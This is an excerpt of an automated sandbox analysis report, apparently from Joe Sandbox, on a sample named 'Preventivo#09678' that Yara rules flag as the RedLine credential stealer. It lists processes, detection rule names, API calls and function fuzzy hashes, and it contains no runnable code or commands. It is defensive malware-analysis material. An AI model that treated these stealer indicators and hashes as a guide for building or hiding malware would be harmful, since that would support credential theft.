Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000002.1431123502.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000007.00000002.1431123502.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: 00000007.00000002.1431123502.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000007.00000002.1432476685.00000000031E0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	09:02:24
Start date:	13/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	09:02:25
Start date:	13/11/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 5092 -s 1152
Imagebase:	0x7ff6dc5e0000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	10.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFAAC710001 Relevance: 7.4, Strings: 4, Instructions: 2401COMMON

Download Yara Rule

Strings

3$, xrefs: 00007FFAAC710BA0
3$, xrefs: 00007FFAAC710AF2
3$, xrefs: 00007FFAAC7107E5
3$, xrefs: 00007FFAAC710BB2

Memory Dump Source

Source File: 00000000.00000002.1538050731.00007FFAAC710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac710000_Preventivo#09678.jbxd

Similarity

API ID:
String ID: 3$$3$$3$$3$
API String ID: 0-782484511
Opcode ID: c09126e17c00efe4f2b9d708164e0e2e1f23f981c974dd1f26303185e2367099
Instruction ID: 27f0708cc02fa380da63f9fc60d2db3c81d9214df3e9a2411f8ebb5499e9e68f
Opcode Fuzzy Hash: c09126e17c00efe4f2b9d708164e0e2e1f23f981c974dd1f26303185e2367099
Instruction Fuzzy Hash: B2F2B37280E7C58FE756DB2888555A47FF0EF57300F1945FAD08DCB1A7EA28A80AC781

Function 00007FFAAC639A88 Relevance: 2.9, Strings: 1, Instructions: 1658COMMON

Download Yara Rule

Strings

K, xrefs: 00007FFAAC6425AC

Memory Dump Source

Source File: 00000000.00000002.1537256344.00007FFAAC630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac630000_Preventivo#09678.jbxd

Similarity

API ID:
String ID: K
API String ID: 0-856455061
Opcode ID: 00bb489c3b8ce8140d46e591206a9aab1ac7d878279e3f3ca96e5260f04d1824
Instruction ID: 085d98abcac5d011c9dbe15946e370d174a62530cfad923da309f0ceeef9f7c3
Opcode Fuzzy Hash: 00bb489c3b8ce8140d46e591206a9aab1ac7d878279e3f3ca96e5260f04d1824
Instruction Fuzzy Hash: 1BC2F475A0DA49CFEB99DB18C595AB877E1FF5A300F1450BAD04EC7292EE24EC45CB80

Function 00007FFAAC631700 Relevance: 2.0, Strings: 1, Instructions: 702
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

d, xrefs: 00007FFAAC635F9F

Memory Dump Source

Source File: 00000000.00000002.1537256344.00007FFAAC630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac630000_Preventivo#09678.jbxd

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: 91872b6b2d8757ae3a21f7bcf8647aee7efeb2fbe1059ebca202f67b0f0015da
Instruction ID: 97b927672d473c5a62b619e15fac72472ef32fcf2d1ca689cd0be8ba53d63b57
Opcode Fuzzy Hash: 91872b6b2d8757ae3a21f7bcf8647aee7efeb2fbe1059ebca202f67b0f0015da
Instruction Fuzzy Hash: DD22467091DA898FE74ADB28C4866B177E1FF56310B1492BAD44EC7297DE28E847C7C0

Function 00007FFAAC635440 Relevance: 1.7, Strings: 1, Instructions: 433
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fish, xrefs: 00007FFAAC635490

Memory Dump Source

Source File: 00000000.00000002.1537256344.00007FFAAC630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac630000_Preventivo#09678.jbxd

Similarity

API ID:
String ID: fish
API String ID: 0-1064584243
Opcode ID: 2e5100c1c84c8c8b77dd9e6238ba1213e3cbb7451a2a28e0e037a4a772d63843
Instruction ID: 8a687c8a43f20e7a1abc261b33412ff3b5640a3d7d1054c9cefdfbfc6de5206c
Opcode Fuzzy Hash: 2e5100c1c84c8c8b77dd9e6238ba1213e3cbb7451a2a28e0e037a4a772d63843
Instruction Fuzzy Hash: 4FC13931A1DA8A8FEB5DEB28D4595B577E1FF96310B04917ED04FC3292DD24E80687C1

Function 00007FFAAC63CC61 Relevance: 1.5, Instructions: 1511
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1537256344.00007FFAAC630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac630000_Preventivo#09678.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 074b30cea2d26cd4d0f2f2d20ded7b5130403e5ed10e73aa92eaa0a89451d719
Instruction ID: 98722144b23458f426e7b5f2d775ca4a56497d6fe02ad348461b06a6afd298b2
Opcode Fuzzy Hash: 074b30cea2d26cd4d0f2f2d20ded7b5130403e5ed10e73aa92eaa0a89451d719
Instruction Fuzzy Hash: FEA2287051DB858FE30ADF28C4544A57BE1FF96301B1495BEE48ECB3A6DA34E84AC781

Function 00007FFAAC641387 Relevance: 1.4, Instructions: 1372COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1537256344.00007FFAAC630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac630000_Preventivo#09678.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f219fccc7f4745e9d97a269273e775b757106a6008a4b30d96972fbabf3c3849
Instruction ID: d4c370c49ec5ceeef9de8591164d286e6bfb835d7d9dbe0b12c6942162971216
Opcode Fuzzy Hash: f219fccc7f4745e9d97a269273e775b757106a6008a4b30d96972fbabf3c3849
Instruction Fuzzy Hash: 6A72573160DB8A8FE35ADB28C5415B177E1FF96301B1495BED48EC7292EE24E84AC7C1

Function 00007FFAAC63F7E9 Relevance: 1.1, Instructions: 1067
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1537256344.00007FFAAC630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac630000_Preventivo#09678.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de4db487dfde70b1fba6150c2aa27d5deaa1c134d90f993631a1ea5f4d89901f
Instruction ID: 622c50123d5d1664ba2394b17ae8ce73f6e2afbd857a93c48d929c2088ecae52
Opcode Fuzzy Hash: de4db487dfde70b1fba6150c2aa27d5deaa1c134d90f993631a1ea5f4d89901f
Instruction Fuzzy Hash: BA72183061DB858FE35ADB28C4914B5B7E2FFC6301B1495BEE48AC7296DE34E44AC781

Function 00007FFAAC639A80 Relevance: .9, Instructions: 929
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1537256344.00007FFAAC630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac630000_Preventivo#09678.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a4db46713728c05ed506940305faa0a1fa85573277461b7f76a6078a1eda668
Instruction ID: 37f4a7e2d4a59005178d7ee4d9c0adad93997fff8b46bb2f8c4dbbb8c2ba24eb
Opcode Fuzzy Hash: 4a4db46713728c05ed506940305faa0a1fa85573277461b7f76a6078a1eda668
Instruction Fuzzy Hash: 17522730A0DA498FEB69DB28C855A7977E1FF5A300F1051BDE05EC7292DE24EC46C791

Function 00007FFAAC63C880 Relevance: .4, Instructions: 448
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1537256344.00007FFAAC630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac630000_Preventivo#09678.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f56ea2710a80c50c0366e3da5060369b1eae73488d2f16a60a777eb42d6716fe
Instruction ID: ae2311b75941fdd043c8462ded6c74952cbc535a6a102ff403687faa2ec23d60
Opcode Fuzzy Hash: f56ea2710a80c50c0366e3da5060369b1eae73488d2f16a60a777eb42d6716fe
Instruction Fuzzy Hash: 37D15771A1DB868FE31ACB2884551B5B7D2EFD6301B14967EE4CAC3395DE28E40AC7C1

Function 00007FFAAC632AB5 Relevance: .3, Instructions: 316COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1537256344.00007FFAAC630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac630000_Preventivo#09678.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cddc8b98462acb3a8758e7788626b58598359f6619f4c7fc116e0ae87735e0e0
Instruction ID: 6c51cdf07a21c050b0ebc0b7a7103efa275cdab43bc93c4b75abb49b13e8095a
Opcode Fuzzy Hash: cddc8b98462acb3a8758e7788626b58598359f6619f4c7fc116e0ae87735e0e0
Instruction Fuzzy Hash: 33B11571D0865D8FDB99DFA8C894BADBBB1FF59301F1051AAD00DE7292CB34A985CB40

Function 00007FFAAC633F36 Relevance: 1.7, APIs: 1, Instructions: 194
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00007FFAAC634078

Memory Dump Source

Source File: 00000000.00000002.1537256344.00007FFAAC630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac630000_Preventivo#09678.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: dae7569ccac5c899f348b28ad38623c9780ae0ae62e828fa4a4e750f6b29a1ba
Instruction ID: 2b4cf1f7e9873b8bdc2b0490e2d5e3ba3b5b240caf141dbd55d88626ba2a196a
Opcode Fuzzy Hash: dae7569ccac5c899f348b28ad38623c9780ae0ae62e828fa4a4e750f6b29a1ba
Instruction Fuzzy Hash: 7B518F74D0864D8FDB55DF68C885BEDBBF1FB56310F1042AAD049E7252DB74A885CB80

Function 00007FFAAC7110C9 Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1538050731.00007FFAAC710000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC710000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac710000_Preventivo#09678.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea78d5ede6fe4056e2853b552a91d7b551746e23444a0d4e037c6123104ece07
Instruction ID: 19de0e90a9ef8c968baa7381c95102307cca548a1fef9c7cb9cfdb22f42c2020
Opcode Fuzzy Hash: ea78d5ede6fe4056e2853b552a91d7b551746e23444a0d4e037c6123104ece07
Instruction Fuzzy Hash: 1441393190DBC98FEB46DF18C8555A87FB1FF56340B1981EAD04ECB1A6EA25E849C3C1

Non-executed Functions

Function 00007FFAAC633C81 Relevance: .3, Instructions: 253COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1537256344.00007FFAAC630000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffaac630000_Preventivo#09678.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8860f470cf9a2c0d0e32ad16374528f48e6bdc1f7f0a9b126638ecbb56ccd0a9
Instruction ID: 27c0766a350473276e4247580f0f925c2033a26a3a8b7de3b618e25bab759b53
Opcode Fuzzy Hash: 8860f470cf9a2c0d0e32ad16374528f48e6bdc1f7f0a9b126638ecbb56ccd0a9
Instruction Fuzzy Hash: A9819570908A8D8FEBA9DF18C845BE97BE1FF5A310F00917AD84DC7292DA74D945CB81

Analysis Process: jsc.exePID: 6936, Parent PID: 5092COMMON

Execution Graph

Execution Coverage:	11.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	242
Total number of Limit Nodes:	14

Executed Functions

Function 073DC338 Relevance: .6, Instructions: 604COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1442653389.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_73d0000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 426396fddf230e8c1e60a74bfab77f6b56f9eae67112ec1947788b89eee0c7e1
Instruction ID: 5a9fb879e72798934c8d8a21c51c45542ac953969328824315c2caee8ee65567
Opcode Fuzzy Hash: 426396fddf230e8c1e60a74bfab77f6b56f9eae67112ec1947788b89eee0c7e1
Instruction Fuzzy Hash: 7A425BB5A10205DFEB15CF68D584AAEBBF2FF88310F158599E409AB361D730ED45CBA0

Function 073DFB00 Relevance: .4, Instructions: 409COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1442653389.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_73d0000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03811e203bca455d93fcca2dacc538e329f57717f7d8dee89744fcee6aa45109
Instruction ID: cd4814f6331fd3d8584c2601459f41cdc8407fc9cf31d8d8b17d3b3ad3fcee70
Opcode Fuzzy Hash: 03811e203bca455d93fcca2dacc538e329f57717f7d8dee89744fcee6aa45109
Instruction Fuzzy Hash: 39F14CB5B00206CFDB04DF69D4849ADBBF6BF89310B1585A9E91ADB361DB30EC41CB50

Function 069BF3D0 Relevance: 1.6, APIs: 1, Instructions: 109
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CopyFileW.KERNEL32(?,00000000,?), ref: 069BF471

Memory Dump Source

Source File: 00000007.00000002.1439545783.00000000069B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_69b0000_jsc.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: ef05115cf91a6beb13c2cdbb431459818e6d3a84aa5aa75d51650902390465e4
Instruction ID: a52e3a860c467838451fb54e67a3975bf44090f18203459435a48f931e256ddd
Opcode Fuzzy Hash: ef05115cf91a6beb13c2cdbb431459818e6d3a84aa5aa75d51650902390465e4
Instruction Fuzzy Hash: EB418DB1D013199FCB50DFA9D9447EEBBF5EF48720F24816AE848EB241D3359A05CBA1

Function 069BC40C Relevance: 1.6, APIs: 1, Instructions: 75
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CopyFileW.KERNEL32(?,00000000,?), ref: 069BF471

Memory Dump Source

Source File: 00000007.00000002.1439545783.00000000069B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_69b0000_jsc.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: b7d4760951c9ad10837db6493276de143dc2fb428f8e450139f80b1489b902bd
Instruction ID: 63e39e5ca540891dda77ec4eec3fdc4040c2ec3d348522ca2293482591d902fb
Opcode Fuzzy Hash: b7d4760951c9ad10837db6493276de143dc2fb428f8e450139f80b1489b902bd
Instruction Fuzzy Hash: E93159B1C013199FCB50CF99D9857EEBBF5EF48310F14816AE808AB341D7389A40CBA4

Function 069B7688 Relevance: 1.6, APIs: 1, Instructions: 54
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(00000000,?,?,?,?,00000000,00000E20,?,?,069B7546), ref: 069B76F6

Memory Dump Source

Source File: 00000007.00000002.1439545783.00000000069B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_69b0000_jsc.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: d848ad9684aa6d9818544aa334cd9edfde990530e3b9464b4fdbbcc68d9d6574
Instruction ID: f4cf836585418aebcfa211a8553cb6703a5909542534e83c7b9bbf2f7f954ee6
Opcode Fuzzy Hash: d848ad9684aa6d9818544aa334cd9edfde990530e3b9464b4fdbbcc68d9d6574
Instruction Fuzzy Hash: 1D1114B5C003498FDB20DF9AD544BDEFBF9AB88210F10842AD459AB710D375A546CFA1

Function 069B7038 Relevance: 1.6, APIs: 1, Instructions: 53
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(00000000,?,?,?,?,00000000,00000E20,?,?,069B7546), ref: 069B76F6

Memory Dump Source

Source File: 00000007.00000002.1439545783.00000000069B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 069B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_69b0000_jsc.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 9ab5e35345dfc5256698772cd8e8c2a678bded9f2b4dd4195bc7b7e2df97927c
Instruction ID: 22d54af2b80a52be337b42514f861277e52b988b50c477dba44e069433ecc481
Opcode Fuzzy Hash: 9ab5e35345dfc5256698772cd8e8c2a678bded9f2b4dd4195bc7b7e2df97927c
Instruction Fuzzy Hash: EF1126B5C003498FDB20DF9AC944BDEFBF5EB88210F10856AD419BB610C375A945CFA5

Function 015E0CE0 Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleWindow.KERNEL32 ref: 015E0D47

Memory Dump Source

Source File: 00000007.00000002.1432031452.00000000015E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_15e0000_jsc.jbxd

Similarity

API ID: ConsoleWindow
String ID:
API String ID: 2863861424-0
Opcode ID: 2bea1937b07ef0b8d8c65bc74a0578b5b61b6f0260c435475ead536776d9774f
Instruction ID: 181c502bc077831981b87acfb99cb1303a93213ed327bddba52c4bfbdc668504
Opcode Fuzzy Hash: 2bea1937b07ef0b8d8c65bc74a0578b5b61b6f0260c435475ead536776d9774f
Instruction Fuzzy Hash: 67115871D003498FDB24DFAAD4457EEBBF5EB48320F20841AD459A7240CB796945CFA0

Function 015E1870 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 015E18BE

Memory Dump Source

Source File: 00000007.00000002.1432031452.00000000015E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_15e0000_jsc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 6f72269a803df2f867bbbc40fa20d75568051e36f7f4c3bc098cf407c82d8b1e
Instruction ID: 6c8c027211cc37aff76e30c18f154027ce2168b3ac1901844d76402c842515f7
Opcode Fuzzy Hash: 6f72269a803df2f867bbbc40fa20d75568051e36f7f4c3bc098cf407c82d8b1e
Instruction Fuzzy Hash: E0015E35F002158FCB58EBBDD8545AEBBF5FF8861071148A5E519EB360EB34DD018B90

Function 015E0CE8 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleWindow.KERNEL32 ref: 015E0D47

Memory Dump Source

Source File: 00000007.00000002.1432031452.00000000015E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 015E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_15e0000_jsc.jbxd

Similarity

API ID: ConsoleWindow
String ID:
API String ID: 2863861424-0
Opcode ID: 2c6426484a97d491b5c9c32629fd223e277854615cf9693a891c213c22dd6ffd
Instruction ID: 27b83604e798808e0ca2f3cf9240e8b94392a43876a7a9996e757416c4c7f11f
Opcode Fuzzy Hash: 2c6426484a97d491b5c9c32629fd223e277854615cf9693a891c213c22dd6ffd
Instruction Fuzzy Hash: A6114875D003098FDB24DFAAC4457DEFBF5EB48320F108419D559A7240CB79A944CFA0

Function 06A01550 Relevance: 1.4, Instructions: 1412COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1439620689.0000000006A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6a00000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07d351276a125151e82bd26b90043439945f2ecb3f25cd78eade8dab7bbe33fd
Instruction ID: ebb5385a0fd30773b177c43f58420a25cabedca8ec758aa1c7778be338ef4d12
Opcode Fuzzy Hash: 07d351276a125151e82bd26b90043439945f2ecb3f25cd78eade8dab7bbe33fd
Instruction Fuzzy Hash: B5C23B74B102189FDB15DB55C894FADBBB2FF88300F508499E609AB3A1DB71EE418F91

Function 06A0349D Relevance: 1.3, Instructions: 1277COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1439620689.0000000006A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6a00000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 923af32df774e1f1c1c34fdb9628c5b8c8b030d17acaf090b083d31d298d0bba
Instruction ID: 67a68a447a27e95015e6c428d3e9886f1ef994401f3ce20553f987cfac310651
Opcode Fuzzy Hash: 923af32df774e1f1c1c34fdb9628c5b8c8b030d17acaf090b083d31d298d0bba
Instruction Fuzzy Hash: 94A1BE74B002069FEF54DB68D994A6EBBF2FF88710B1584AAE506DB3A1CB34DC05CB51

Function 073DD250 Relevance: 1.3, Strings: 1, Instructions: 11COMMON

Download Yara Rule

Strings

), xrefs: 073DD258

Memory Dump Source

Source File: 00000007.00000002.1442653389.00000000073D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 073D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_73d0000_jsc.jbxd

Similarity

API ID:
String ID: )
API String ID: 0-2427484129
Opcode ID: 44dc653d9be052c3ead330e8da6d652535f619cc45c1d5fa320f92335eb13b79
Instruction ID: 017756a59274bf72c1dce64bf4bed58c6669c4d7a2a18e315b30094dc103513f
Opcode Fuzzy Hash: 44dc653d9be052c3ead330e8da6d652535f619cc45c1d5fa320f92335eb13b79
Instruction Fuzzy Hash: 16C0122160B2E00AD72A562875081C62E508B46021F0A1096D848C6542D5681D45C6D2

Function 06A00048 Relevance: .7, Instructions: 665COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1439620689.0000000006A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6a00000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7b202c72e34d4722d6de8070a7bebebb41ccd1e240f1c7cc635de3c12d588d1
Instruction ID: 6b3e6be19cbe50a566c7de5e3f1825abff74f50349384ad195bd189389003af6
Opcode Fuzzy Hash: b7b202c72e34d4722d6de8070a7bebebb41ccd1e240f1c7cc635de3c12d588d1
Instruction Fuzzy Hash: DA424770B107258FEB64AF65E45066EBAF2FBC5701B40494CD6039F390CB7AED068B86

Function 06A019C8 Relevance: .6, Instructions: 569COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1439620689.0000000006A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6a00000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8daf268b27fb7b788df9b7c6bf24e7a53796c7c81a5b9b97ddf41900fcbe9fac
Instruction ID: 0cc8065cd81e3ecfe480f992af0ca9a440011fe5107be759193f4b69e5a743df
Opcode Fuzzy Hash: 8daf268b27fb7b788df9b7c6bf24e7a53796c7c81a5b9b97ddf41900fcbe9fac
Instruction Fuzzy Hash: A6228274B102149FDB65DB14C894FAEB3B2FF88704F518489EA0A9F391CB75ED818B91

Function 06A004F3 Relevance: .5, Instructions: 499COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1439620689.0000000006A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6a00000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8dd387a03caa271663b24010343572b4e8ef9e5294b5b03db400c822bce62d9a
Instruction ID: 8369570e6cd11f654dbfac95e4be5cc6a1cfb1609eebcdb7ed0acd9b44a02c8e
Opcode Fuzzy Hash: 8dd387a03caa271663b24010343572b4e8ef9e5294b5b03db400c822bce62d9a
Instruction Fuzzy Hash: 28126970B106158FEB64AF65E450A6EBBF2FF85701F00494CD5029F3A1CB7AED468B86

Function 06A00569 Relevance: .5, Instructions: 464COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1439620689.0000000006A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6a00000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16bf47827b36154f9f761d92a46002761ec56022acc862b9345e1f7e4278e499
Instruction ID: d368d04bfeb7f3d037bf2bc2d77d835123c2e08e666e469e7345549c13666c81
Opcode Fuzzy Hash: 16bf47827b36154f9f761d92a46002761ec56022acc862b9345e1f7e4278e499
Instruction Fuzzy Hash: 88025A70A10615CFEB64AF65E450A6EBBF2FF85701F00494CD5029F3A1CB76ED468B86

Function 06A005DF Relevance: .4, Instructions: 428COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1439620689.0000000006A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6a00000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad04691b22e5f4a65a0d9f6641dd841d14384a0ef39b7616ada8b029d0f898cb
Instruction ID: 2603cf696c0d0fc2d10fd0cccf49067a726c7fb1ce4e28234a24883248d121f7
Opcode Fuzzy Hash: ad04691b22e5f4a65a0d9f6641dd841d14384a0ef39b7616ada8b029d0f898cb
Instruction Fuzzy Hash: 07027870A10614DFEB54AF65E450B6EBBF2FF85700F008949D6029F3A1CB76ED468B86

Function 06A00655 Relevance: .4, Instructions: 390COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1439620689.0000000006A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6a00000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f37e2ba096bba5b00c942798c6094832b6854394fe2db622b785fe2043d1887f
Instruction ID: aefe23f968c9c1a0d6dc250646d6de9bbe0321087abb157d935e523f5a226ccb
Opcode Fuzzy Hash: f37e2ba096bba5b00c942798c6094832b6854394fe2db622b785fe2043d1887f
Instruction Fuzzy Hash: 90F15870A10214DFEB54DF65E854B6EBBB2FF85704F008489D6029F3A1CB76ED468B92

Function 06A006CB Relevance: .4, Instructions: 356COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1439620689.0000000006A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6a00000_jsc.jbxd

Similarity

API ID:
String ID:
API String ID:
